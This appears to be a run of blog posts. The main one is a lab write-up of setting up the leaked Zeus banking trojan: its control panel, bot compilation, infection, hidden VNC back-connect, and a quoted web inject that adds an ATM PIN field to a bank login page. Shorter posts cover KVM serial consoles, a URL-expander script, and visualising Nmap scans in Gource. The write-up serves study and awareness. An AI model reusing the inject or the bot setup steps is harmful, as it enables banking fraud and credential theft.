computer, plugging in your thumbdrive and running the bot software is a completely valid form of infection.\nOnce infection is successful, the client runs silently on the victim PC, masking itself as much as possible. The client would have a time configured that tells it how often it should update the Command and Control server with new collected information, as well as dynamic configuration updates, new commands it should run and keep-alive check-ins.\nZeus Source Leaked The full Zeus bot sources leaked around March 2011, and a Github repo of it was made here. This allowed any one in the public to dissect, inspect and test the Malware. This was probably not a good thing for the malware authors' business :). However, now, anyone is able to grab the sources, modify it as required and use. It leads to the possibility of even more sophistication in a already successful botnet, such as adding peer-to-peer communications with C\u0026amp;C servers instead of relying on HTTP as can be seen in this excellent analysis by @CERT_Polska_en.\nLAB Time! Now that we have the full sources, I decided it\u0026rsquo;s time to setup a LAB to configure and play with this bot.\nI have a KVM Server at my disposal, and figured it will be a good idea to use that. The basic idea of the lab was to have a simulated internet network, a firewall, and a client network that makes use of this \u0026ldquo;Fake Internet\u0026rdquo;. I created 2 isolated networks, configured a set of CentOS 6, and Windows XP clients and a Server 2008 R2 Server.\nIn short, the lab was going to look something like this:\nVirtual Machine Management Interface +-----------------------------------\u0026gt; | | | +----+---------+ | | +-----------+ Firewall +-----------+ | | | | | +--------------+ | | | +----------+ | ^ | +--| Victim A | +---------------+ | +----------------+ | +----------+ | | | | | | | Fake Internet | + | Fake LAN +-----+ +----------+ | | | | +--+ Victim B | +------+--------+ NAT Towards Fake +----------------+ +----------+ | Internet Interface | +--------+--------+--------------------+----------------+ | | | | | | | | | | | + +------+-----+ +-----+------+ +------+-------+ +-----------------+ | | | | | | | | | Zeus Bot | | Zeus Web | | Random Victim| | Compromised | | Herder / | | based C\u0026amp;C | | | | Web Server | | Controller | | | | | | | +------------+ +------------+ +--------------+ +-----------------+ The Configuration Command \u0026amp; Control I figured I\u0026rsquo;d start by checking out the code from the git repo onto the server I would use as the command and control server. So, off I went and git clone https://github.com/Visgean/Zeus.git\u0026rsquo;d the Zeus code into a local directory of my C\u0026amp;C server.\nThe folder structure of the directory output that is of interest, on disk, looked something like this:\nZeus/output ├── builder ├── other ├── server └── server[php] ├── install ├── system └── theme We can see there is a server[php] directory, which is rather obvious that this is the web interface code. Quick inspection of the sources revealed that the common directory index index.php is in fact empty. So, should someone stumble upon the C\u0026amp;C directory, a blank page will be displayed to the user.\nTwo other files also exist in the php server root, namely cp.php and gate.php. cp.php is the user control panel to manage the bots, whereas gate.php is the script that all the bots will use to communicate with the C\u0026amp;C. That being said, inspecting network traffic should reveal a lot of talking with gate.php. As a side note, the comments in the sources are in Russian, which makes for a interesting time with Google Translate to read them ;)\nSo, I copied the sources for server[php] to a web folder z/, fixed up the SELinux contexts for them and tried to access the cp.php page. Bam, server error.\n# Zeus cp.php mb_internal_encoding error [Mon Sep 23 10:57:45 2013] [error] [client 172.16.50.1] PHP Fatal error: Call to undefined function mb_internal_encoding() in /var/www/html/z/system/global.php on line 1 It was pretty obvious I was missing php-mbstring, so I went and installed it and restarted Apache. Now, loading my cp.php, I was greeted with a polite message asking me how I am :D\n  Installing the Command \u0026amp; Control I noticed a install folder in the obtained sources and browsed to install/ and found a very nice, easy to understand installer:\n  Here I realized I needed to have a mysql server running, so I proceeded to install that too and create a database cpdb for the control panel. From here, it was literally a case of install and login. We now have a working Zeus command and control server. That really was not so hard was it? In fact, its worryingly easy.\n  Compiling the Bot With that out of the way, the next step had to be to compile the Zeus bot binary with which we will be infecting the Lab of fake LAN clients. For this a Windows machine was required as the tools for this are all windows based. I fired up a Windows XP Virtual Machine, and grabbed a copy of the Zeus code from the Github repository again.\nNext, I browsed to the output/builder/ folder again and opened the config.txt file in notepad. Here, I really had to set minimal options. One to specify the location of the config.bin and the others for the location of updated bot binaries and what URL the Command and Control server lives at. All pretty straight forward. I also had to set the encryption_key, which should correspond to the key used when we installed the server side PHP stuff earlier.\n  The next step was to compile the bot. While this may sound complex, it\u0026rsquo;s not. In fact, 2 clicks, granted the config files syntax is correct, and you will have a working compiled exe to work with. The compiler interface looked like this:\n  1,2,3 done. We now have a zeus-bot.exe. The malware is now customized to speak to my Command \u0026amp; Control server using my unique encryption key. Again, up until this point everything has been pretty easy and straight forward.\nSkipping the creative parts - Infection. From here the infection phase pretty much starts. Of course, the bot herder would need to test hes executables and ensure that they are in working order. There is no point in distributing malware that doesn\u0026rsquo;t work eh. ;D With infection, as previously mentioned anything goes. From drive-by downloads to phishing to physical access to a server. If the machine can execute the bot executable, its job done.\nSadly, I wanted to test the Blackhole Exploit Kit, but the resources on the net appear to be rather scarce. That and the fact that the available versions of it are encoded using a PHP encoder (IonCube), makes it a tad more difficult to get going. It was however interesting to see that the malware authors are limiting they software to IP\u0026rsquo;s along with time restrictions the works. Just like something you\u0026rsquo;d expect to see in commercial software.\nAs I am kind of the only person using this network, there is no point in trying to fool me into getting the executable run. To make it easy for me to rerun it, I uploaded zeus-bot.exe and the encrypted config.bin to a fake compromised web server, ready for download.\nI opened Internet Explorer and browsed to the location of zeus-bot.exe and chose RUN. To the unsuspecting user, it will appear that nothing happened\u0026hellip;\nFrom the Bot Herders Perspective Assuming the position of the evil bot herder now, I am able to see that I have a new bot connected to my Command \u0026amp; Control server. We can see this in the interface, as well as based on the POST requests to gate.php\n# Apache Logs Extract for POST\u0026#39;s to gate.php 172.16.50.2 - - [19/Sep/2013:10:58:01 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:10:58:06 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:10:58:12 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:10:58:17 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:10:58:22 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:10:59:00 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:10:59:05 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:10:59:10 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:10:59:15 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:10:59:20 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:10:59:23 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:10:59:28 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:10:59:34 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:10:59:39 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:10:59:44 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:11:00:20 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:11:00:25 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:11:00:30 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:11:00:35 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:11:00:40 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:11:00:45 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:11:00:50 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:11:00:56 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:11:01:01 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:11:01:07 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:11:01:40 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:11:01:45 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:11:01:50 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; 172.16.50.2 - - [19/Sep/2013:11:01:55 -0400] \u0026#34;POST /z/gate.php HTTP/1.1\u0026#34; 200 - \u0026#34;-\u0026#34; \u0026#34;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\u0026#34; We are also able to, using the control panel, see some more information based on the newly connected bot:\n  An interesting thing to note here. It appears that the Zeus bot opens up a socks port on the client machines. If the Command \u0026amp; Control server is able to connect to this IP, and the socks port, then it will be able to pull a screenshot of the current state the client pc is in. This is an almost live image. On the client, we can see that the process explorer.exe is listening in port 35419. This is the same port that the web interface is reporting as the SOCKS port.\n  In the case of my lab setup, this SOCKS connection was not possible due to the fact that the client is reporting as connected from 172.16.50.2, which is the fake, natted public ip of the lab firewall. The firewall itself is most certainly not listening on that port so the connection would fail. Maybe if I port forwarded the connection back into the fake LAN it would have been able to connect but this I did not test.\nSo, to test the screen-shotting features, I infected another client on the fake Internet, where the Command \u0026amp; Control server will be able to connect to. The result?\n  There is no visual sign of this activity to the user. The user may be busy with some highly confidential work on hes workstation, unaware that an intruder is able to see what he is seeing. You know, like using that secret text file with all your passwords in it.\nBut thats not all Just being able to see what the user sees is not really enough. No. You also have the ability to remotely VNC into the infected machine. By doing this, the attacker is able to remotely control your computer as you, with one difference, you won\u0026rsquo;t know about it. So lets say he managed to successfully compromise your banking credentials. Instead of triggering alarms on the banks side that a login has just occurred on the other side of the globe, the attacker can now use your machine to steal your money. From the banks perspective this may appear like a perfectly legitimate transaction.\nSo lets see how this VNC functionality works.\nExecute the VNC BC Script First, the attacker will have to prepare a back connect server and then, via a script, tell the bot to connect to this server so that he may access the botted machine. This architecture is pretty solid. The only thing really that would stop an attacker from succeeding in setting up this back connect is if the remote firewall was to block the port that the attacker has set up on the back connect server. However, things like port 80, or even 443 is almost always opened, so these will be prime candidates to use.\nIn short, the setup will look something like this.\n--------------------------\u0026gt; \u0026lt;-------------------------------------------- --------------------------\u0026gt; \u0026lt;-------------------------------------------- +------------+ +-----------------------+ +--------------+ +------------------+ | Attacker +------\u0026gt; Back Connect Server \u0026lt;--+ LAN Firewall \u0026lt;---+ Infected Machine | +------------+ +-----------------------+ +--------------+ +------------------+ The back connect server could be any host the attacker has access to and controls. This is also a great way for the attacker that wants to VNC to hide hes IP information. Should you on the infected machine realize what is going on, then you\u0026rsquo;d only see the connection going out to the back connect server, and not the real attacker. The server executable is zsbcs.exe in the output/server/ directory and is a windows only tool.\nOnce the Back Connect Server is setup to listen on one port for new bots, and another for VNC client connections, the attacker would configure a script, instructing the clients where to connect. The script would look something like this:\nbot_bc_add vnc 172.16.50.181 9000 This tells the bot where to connect to wait for a VNC session.\nNext, the attacker can sit and watch hes Back Connect Server\u0026rsquo;s output and see when a new bot has connected. He may now connect using hes VNC client to the client port of the back connect server and viola, VNC access. Alarmingly, the VNC access is not like your traditional VNC where the user will see the pointer move as the VNC user moves it. No, this VNC session starts in a separate display, ensuring that the user is still unaware of what is happening. This for me was the most alarming part. It\u0026rsquo;s almost as if hes attaching to another tty.\n  Web Injects, the real threat. So all of this Remote Administration Stuff is cool. No doubt they are useful tools for an attacker, but this is not what has made Zeus what it is known for today. Zeus uses what is called Web Injects to manipulate website content. \u0026ldquo;What do you mean by \u0026lsquo;manipulation\u0026rsquo;?\u0026rdquo; you may ask. Well, lets assume you are about to buy something online. Generally, the store would ask you for a Credit Card number and an expiry. Usually, on the next page you may be asked for the CVV number. With your machine infected with Zeus, the attacker is able to ask for your Credit Card Number, Expiry, CVV, Email Address, Address, Tel no., secret question etc etc all on one page. The page itself will look totally legit, and again, to the unsuspecting user, this may seem completely normal and away he goes entering hes details. Once submitted, Zeus captures the entire request, including the cookies, the POST data etc etc and based on the bots timer configurations, uploads this information to the Command \u0026amp; Control server. Just like the one we just used to Remotely Administer the infected machines.\nWith all this information, he may be able to return at a later stage, VNC to your computer and access your account to buy himself some new toys. Because he managed to get hold of your secret question, he finds no trouble in complying to any potential security checks the portal may bring.\nHow it works When looking at the web injects, I guess the simplest way to describe them is similar to your favorite text editors search and replace features. With the Zeus bot hooked into some low level network API\u0026rsquo;s in Windows, it is able to monitor for its configured URL\u0026rsquo;s, and inject arbitrary content into the responses that are displayed in your browser. Lets take an example from the source here.\nset_url https://www.wellsfargo.com/* G data_before \u0026lt;span class=\u0026#34;mozcloak\u0026#34;\u0026gt;\u0026lt;input type=\u0026#34;password\u0026#34;*\u0026lt;/span\u0026gt; data_end data_inject \u0026lt;br\u0026gt;\u0026lt;strong\u0026gt;\u0026lt;label for=\u0026#34;atmpin\u0026#34;\u0026gt;ATM PIN\u0026lt;/label\u0026gt;:\u0026lt;/strong\u0026gt;\u0026amp;nbsp;\u0026lt;br /\u0026gt; \u0026lt;span class=\u0026#34;mozcloak\u0026#34;\u0026gt;\u0026lt;input type=\u0026#34;password\u0026#34; accesskey=\u0026#34;A\u0026#34; id=\u0026#34;atmpin\u0026#34; name=\u0026#34;USpass\u0026#34; size=\u0026#34;13\u0026#34; maxlength=\u0026#34;14\u0026#34; style=\u0026#34;width:147px\u0026#34; tabindex=\u0026#34;2\u0026#34; /\u0026gt;\u0026lt;/span\u0026gt; data_end data_after data_end In the above extract from the web injects we can see that the https://wellsfargo.com (note the s) website will have a extra field added, asking for a ATM PIN before the password field. Now, an important thing to note here. Yes, a website owner could change the web sources which will make this web inject not work, however, the POST data will still be recorded for this watched URL and eventually stored on the C\u0026amp;C.\n  Summary While Zeus itself is old news and many variants such as Citadel have sprung up, I believe this is still a very valid threat as the concepts remain the same.\nA interesting thing about the bot. Zeus, once it infects a PC, will delete all the cookies in Internet Explorer. This is to force the user to re-login to the services he uses, and also lets Zeus grab them :)\n","permalink":"https://leonjza.github.io/blog/2013/09/23/zeus-my-adventure-with-a-infamous-bot/","summary":"\u003cp\u003e\u003cstrong\u003eNOTE! THIS IS FOR EDUCATIONAL PURPOSES ONLY. CHANCES ARE, IF YOU TRY THIS WITHOUT PERMISSION, YOU WILL GET CAUGHT AND GET THROWN INTO A DARK PLACE WITH NO INTERNET\u003c/strong\u003e\u003c/p\u003e\n\u003ch3 id=\"bots-for-the-masses\"\u003eBots for the masses.\u003c/h3\u003e\n\u003cp\u003eRecently at a conference that I attended, I sat in a class that was talking about Botnets and general \u0026lsquo;How Easy They Are\u0026rsquo; related things. 90% of the technical discussions did not really come as a surprise to me, however, I came to realize that I am not \u003cstrong\u003e100%\u003c/strong\u003e aware of how ( and I dare say this lightly ) \u003cem\u003eeasy\u003c/em\u003e they have it. The technical competency of the adversary really doesn\u0026rsquo;t have to be at a jaw droppingly high level. In fact, if you can operate the keyboard and mouse, heck, even a tablet/phone once its all setup, then you could potentially be a successful botnet operator.\u003c/p\u003e","title":"Zeus My Adventure with a Infamous Bot"},{"content":"Console all the things! First and foremost, I will start with a warning. Like any other virtualization software, you risk leaving the console open. This is a often overlooked part of securing your infrastructure. An administrator may have been required to do some work on the virtual console, and forget to log out. What if that account that is still logged in, is r00t? Having administrative access to a VM Host gives you access to the consoles, but not necessarily to the guests. Remember to log out! Or, setup shells to auto-logout after a few minutes of inactivity.\nExample virsh console access Once setup, accessing consoles can be as easy as connecting via SSH to your server. Firing up the virsh client, and connecting to the console:\n# a primitive virsh console access example $ virsh --connect qemu:///system Welcome to virsh, the virtualization interactive terminal. Type: \u0026#39;help\u0026#39; for help with commands \u0026#39;quit\u0026#39; to quit Id Name State ---------------------------------------------------- 6 console-test running virsh # console console-test Connected to domain console-test Escape character is ^] CentOS release 6.4 (Final) Kernel 2.6.32-358.el6.x86_64 on an x86_64 localhost.localdomain login: root Password: Last login: Sat Aug 3 08:31:13 on ttyS0 [root@localhost ~]$ You can escape the console by pressing ^], which will drop you back into the virsh shell.\n# virsh guest console escape [root@localhost ~]$ echo \u0026#34;testing123\u0026#34; testing123 [root@localhost ~]$ # I pressed ^] here virsh # Ok, gimme ze commands already\u0026hellip; This I have tested on CentOS 6.4. The 2 commands to get it setup would be:\n# Enabling KVM Console access $ cat \u0026gt; /etc/init/ttyS0.conf \u0026lt;\u0026lt; EOL # ttyS0 - agetty # # This service maintains a agetty on ttyS0. stop on runlevel [S016] start on runlevel [23] respawn exec agetty -h -L -w /dev/ttyS0 115200 vt102 EOL $ grubby --update-kernel=ALL --args=\u0026#39;console=ttyS0,115200n8 console=tty0\u0026#39; Now, you can reboot the server and connect to the domains console via virsh. If all went well, you should be seeing kernel messages and eventually service starts up\u0026rsquo;s, followed by a login prompt in the console.\nIf rebooting is not a option, you can enable it on the fly, after saving ttyS0.conf with $ initctl start ttyS0 as root.\nThe grubby command is not mandatory, however this is what allows you to see the kernel messages as the guest boots. I highly recommend it.\nI have console, but can\u0026rsquo;t log in as root If you followed this guide, then that would in fact be the case. Logging in directly as root is not something I would recommend. Rather log in as a unprivileged user, and su/sudo up to root. In some cases however it is actually necessary. So, to fix this problem, simply add ttyS0 as a \u0026ldquo;securetty\u0026rdquo; in /etc/securetty by running: $ echo \u0026quot;ttyS0\u0026quot; \u0026gt;\u0026gt; /etc/securetty. This will allow root logins via the virsh console.\nserial.conf has the answers If you are looking for more in-depth explanations as to how this works, I suggest you take a look at /etc/init/serial.conf (again on CentOS 6.4). You\u0026rsquo;ll notice the configuration for ttyS0.conf also comes from here :)\n","permalink":"https://leonjza.github.io/blog/2013/08/03/kvm-redirecting-centos-kernel-and-tty-output-to-a-virtual-serial-console/","summary":"\u003ch3 id=\"console-all-the-things\"\u003eConsole all the things!\u003c/h3\u003e\n\u003cp\u003eFirst and foremost, I will start with a warning. Like any other virtualization software, you risk leaving the console open. This is a often overlooked part of securing your infrastructure. An administrator may have been required to do some work on the virtual console, and forget to log out. What if that account that is still logged in, is r00t? Having administrative access to a VM Host gives you access to the consoles, but not necessarily to the guests. Remember to log out! Or, setup shells to auto-logout after a few minutes of inactivity.\u003c/p\u003e","title":"KVM Redirecting CentOS Kernel and tty output to a virtual serial console"},{"content":"So there is a good use URL Shorteners, as they are most commonly known, are pretty useful in places where you are limited to the amount of characters you are allowed to type. Twitter being the prime example. However, it is not only because of services like that that these URL shortening services exist. Sometimes, URL\u0026rsquo;s are are just plain crazy long, and very error prone when you have to copy and paste/link them someone. I guess we can call this a useful feature?\nAnd a bad use Of course, like most of the stuff you find on the internet, there has to be a way to abuse it too. Many people that consider themselves to be \u0026ldquo;IT Literate\u0026rdquo;, be it second nature, or they have been burned before, will usually check out the link they are about to click. URL Shortening services take this \u0026ldquo;check\u0026rdquo; right out. It is now easier to get someone to click on a url to somedodywebsite.io/free_trojan_screensaver_no_virus_promise.exe as by the time the page has loaded, it may very well be too late.\nThere are also concerns about tracking too. But that is a different debate all together.\nRise of the URL Expander. There are tons, and I mean, tons of \u0026lsquo;URL Expansion\u0026rsquo; services available online. http://longurl.org/, http://urlex.org/ and http://www.wheredoesthislinkgo.com/ to name a few. All from a simple Google Search. There are even browser plugins that would automatically \u0026lsquo;expand\u0026rsquo; urls as you hover over them.\nThis is cool and all. But how do I know that those services are not modifying the URL\u0026rsquo;s? How do I know the browser plugin is not also fooling around somehow? Does that sound pretty paranoid to you? Well\u0026hellip; :D\nTime for longurl.py I wanted something to use on the command line, that would allow me to see exactly where I was going. Thus, longurl.py came to be.\nGet the script with: $ git clone https://github.com/leonjza/longurl.git\nWith this, I am able to see each 30x type redirect, as well as where it will take me. A sample usage case would be:\n% ./longurl.py http://t.co/CHwi0q7DyF [*] Next stop: \u0026#39;http://t.co/CHwi0q7DyF\u0026#39; [*] Got status: 301 with reason: Moved Permanently [*] Next stop: \u0026#39;http://bit.ly/14hneHx\u0026#39; [*] Got status: 301 with reason: Moved [*] Next stop: \u0026#39;http://t.co/lqyFnSivpw\u0026#39; [*] Got status: 301 with reason: Moved Permanently [*] Next stop: \u0026#39;http://reg.cx/27nM\u0026#39; [*] Got status: 302 with reason: Found [*] Next stop: \u0026#39;http://www.theregister.co.uk/2013/07/31/department_defence_no_lenovo_ban/\u0026#39; [*] Got status: 200 with reason: OK [*] The final looks to be: \u0026#39;http://www.theregister.co.uk/2013/07/31/department_defence_no_lenovo_ban/\u0026#39; Now you can see each \u0026lsquo;hop\u0026rsquo; it would have taken, as well as have your \u0026lsquo;check before click\u0026rsquo; ability back. Like I said, there are lots of other ways to get the same thing done, but I preferred knowing exactly what is going on, rather than just getting the final URL, missing potential bad URL\u0026rsquo;s in between that could lead to other interesting finding. :)\n","permalink":"https://leonjza.github.io/blog/2013/07/31/url-expansion-im-paranoid-like-that/","summary":"\u003ch3 id=\"so-there-is-a-good-use\"\u003eSo there is a good use\u003c/h3\u003e\n\u003cp\u003eURL Shorteners, as they are most commonly known, are pretty useful in places where you are limited to the amount of characters you are allowed to type. Twitter being the prime example. However, it is not only because of services like that that these URL shortening services exist. Sometimes, URL\u0026rsquo;s are are just plain crazy long, and very error prone when you have to copy and paste/link them someone. I guess we can call this a useful feature?\u003c/p\u003e","title":"URL Expansion - I'm paranoid like that"},{"content":"Stuff to what\u0026hellip;? Not too long ago, a colleague introduced me to Gource. In case you have not heard of Gource before, I highly suggest you take a few minutes and check out the project home page here. If you have been developing, or are part of a development project that has been around a while, then Gource should be able to tell you a tale in a strangely mesmerising way about its progression. Go ahead, download and install it. You are going to need it to try the rest of the stuff anyways.\nBe warned though, watching the output is highly addictive and strangely entertaining, so if you value your productivity, don\u0026rsquo;t continue reading this post.\n  In short, Gource will take your repos commit logs from Git, Mecurial, SVN or even CVS (with some work) and splash out a graphical representation of the commits, by committer, across time. It also has a number of tweaks that allows you to change some visuals, focus on specific comitters and add titles etc.\nYou can also create a Gource \u0026lsquo;movie\u0026rsquo; by specifying the -o option for output. This will provide a sequence of screenshots in PPM format that can later be encoded using something like FFMPEG. Keep in mind that this output is massive. 5mins of output generated something like a 5GB .ppm file for me. You can also just pipe your Gource output directly into ffmpeg, skipping the need to create the .ppm as FFMPEG can read a stream. I of course have no idea how you\u0026rsquo;d accomplish this in Windows, but ok ;D\nMajong released a video of exactly this for the Minecraft dev tree. 800+ days worth of work, depicting the commit logs from a alpha 1.2 version through to the 1.5 release bought down 8 minutes. Direct Link\nTaking it one step further. So all this is cool and stuff. Watching the stories of code get told in a uber cool fashion, causing a lot of productive time to be lost. However, browsing through the Gource Wiki Pages, revealed a rather interesting section. Gource accepts a argument called --log-format custom that allows you to generate, well, custom logs.\nAccording to the wiki documentation, the format for a custom log entry needs to be pipe delimited and have the following format:\n# Gource sample custom log https://code.google.com/p/gource/wiki/CustomLogFormat # minimum custom log format 1275543595|andrew|A|src/main.cpp # optionally, we can set a color value 1275543595|andrew|A|src/main.cpp|FF0000 So this is, nice. Gource also accepts input from stdin, via - as input obviously. To sum this up. Any, correctly formatted, pipe delimited input can be accepted as a \u0026lsquo;log\u0026rsquo; entry, that Gource should understand. Lets try it out.\nIntroducing py2gource.py My initial thought on this was that 90% if the custom log formats could be generated on the shell. Rightfully so. With tools like awk and sed, you can do some pretty neat stuff. However, as powerful as they may be, the approach of writing some middleware that would do all of the parsing and log generation for me, seemed like a better idea. And so, py2gource.py was born. Another terribly coded piece of python to do things I am too lazy to do in any other way.\nSo far based on what has been coded, the basic idea to use this middleware in a very simple form is: cat something | python py2gource.py | gource\nGource for\u0026hellip; Nmap? But, we don\u0026rsquo;t have to cat something for output, right. Just do nmap 127.0.0.1 -v | python py2gource.py | gource. py2gource.py will happily read stdin and parse the output for input formats it understands, specified by -t as needed. For example:\n# Nmap output before its parsed by py2gource.py $ nmap 127.0.0.1 -v Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-25 19:58 SAST Initiating Ping Scan at 19:58 Scanning 127.0.0.1 [2 ports] Completed Ping Scan at 19:58, 0.00s elapsed (1 total hosts) Initiating Connect Scan at 19:58 Scanning localhost (127.0.0.1) [1000 ports] Discovered open port 8080/tcp on 127.0.0.1 Discovered open port 22/tcp on 127.0.0.1 Discovered open port 80/tcp on 127.0.0.1 Discovered open port 3306/tcp on 127.0.0.1 Discovered open port 5222/tcp on 127.0.0.1 [...] # now, parsed by py2gource.py $ nmap 127.0.0.1 -v | python py2gource.py -t nmap 1374774922|nmap|A|127.0.0.1/tcp/8080|9C9841 1374774922|nmap|A|127.0.0.1/tcp/22|9C9841 1374774922|nmap|A|127.0.0.1/tcp/80|9C9841 1374774922|nmap|A|127.0.0.1/tcp/3306|9C9841 1374774923|nmap|A|127.0.0.1/tcp/4000|9C9841 From the above example we can see that the verbose Nmap output has been parsed to be complaint to the custom log format as per the Gource wiki. So, lets pipe this to gource:\n# Nmap to gource $ nmap -v 192.168.137.0/24 | python py2gource.py -t nmap | gource --realtime --log-format custom - -1440x900 --bloom-intensity 0.3 -e 0.2 -i 120 --title \u0026#34;Nmap of 192.168.137.0/24\u0026#34; You should now have a Gource window pop up, with your Nmap results being displayed in a similar fashion as you saw in the Minecraft example. The above command completes the 3 parts required to get output to Gource using the middleware. Granted in the Nmap case, the parser will just not output anything if the IP or IP range that you are scanning has no open ports, or, you forgot to specify the -v argument. This requirement may change later.\nSeeing the Nmap scan come alive is pretty cool. It almost convinces one to scan all the things, just to watch the pretty pictures!\nVisualising a Network Telescope Where I am currently employed, I am fortunate enough to have access to the data our blackhole 